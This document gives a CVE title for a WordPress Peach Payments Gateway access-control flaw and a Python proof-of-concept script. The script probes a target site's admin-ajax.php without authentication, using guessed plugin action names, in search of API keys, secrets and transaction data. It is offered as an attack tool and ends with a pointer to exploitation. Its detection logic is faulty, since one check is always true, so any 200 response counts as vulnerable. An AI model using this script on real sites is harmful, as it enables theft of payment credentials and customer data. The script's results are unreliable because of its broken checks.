CVE-2025-67942 WordPress Peach Payments Gateway插件访问控制漏洞

# CVE-2025-67942 PoC - Peach Payments Gateway Missing Authorization # This PoC demonstrates the access control vulnerability in WordPress plugin import requests import sys TARGET_URL = "https://vulnerable-site.com" def test_missing_authorization(): """ Test for missing authorization in Peach Payments Gateway plugin. The plugin's admin-ajax.php or REST API endpoints lack proper capability checks, allowing unauthorized access to sensitive functions. """ # Common WordPress AJAX endpoint ajax_endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Potential vulnerable actions in Peach Payments Gateway # These actions may lack capability checks vulnerable_actions = [ "peach_payments_get_settings", "peach_payments_get_transactions", "peach_payments_update_config", "peach_payments_process_refund", "peach_payments_get_payment_details" ] print("[*] Testing Peach Payments Gateway for Missing Authorization...") print(f"[*] Target: {TARGET_URL}") print("[*] Plugin: wc-peach-payments-gateway <= 3.3.6\n") for action in vulnerable_actions: # Craft request without authentication cookies data = { "action": action, "nonce": "" # May not be required due to missing check } try: # Send unauthenticated request response = requests.post(ajax_endpoint, data=data, timeout=10) # Check if response indicates successful unauthorized access if response.status_code == 200: # Check for sensitive data exposure if any(keyword in response.text.lower() for keyword in ["api_key", "secret", "transaction", "payment", "settings"]): print(f"[!] VULNERABLE: Action '{action}' allows unauthorized access!") print(f"[+] Response contains sensitive data") print(f"[*] Response preview: {response.text[:200]}...") return True elif "" in response.text or response.json(): print(f"[!] VULNERABLE: Action '{action}' accessible without auth") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing action '{action}': {e}") print("[*] No obvious vulnerability detected (manual verification recommended)") return False def check_plugin_version(): """ Check if target is running vulnerable version of the plugin """ # Try to access plugin readme or script version info version_urls = [ f"{TARGET_URL}/wp-content/plugins/wc-peach-payments-gateway/readme.txt", f"{TARGET_URL}/wp-content/plugins/wc-peach-payments-gateway/wc-peach-payments-gateway.php" ] for url in version_urls: try: response = requests.get(url, timeout=10) if response.status_code == 200: # Look for version number import re version_match = re.search(r'Version:\s*([\d.]+)', response.text) if version_match: version = version_match.group(1) print(f"[*] Detected plugin version: {version}") if tuple(map(int, version.split('.'))) <= (3, 3, 6): print("[!] Target is running vulnerable version!") return True except: pass return False if __name__ == "__main__": check_plugin_version() test_missing_authorization() print("\n[*] For exploitation, use authenticated admin session or\n" + " directly call vulnerable AJAX/REST endpoints with crafted data.")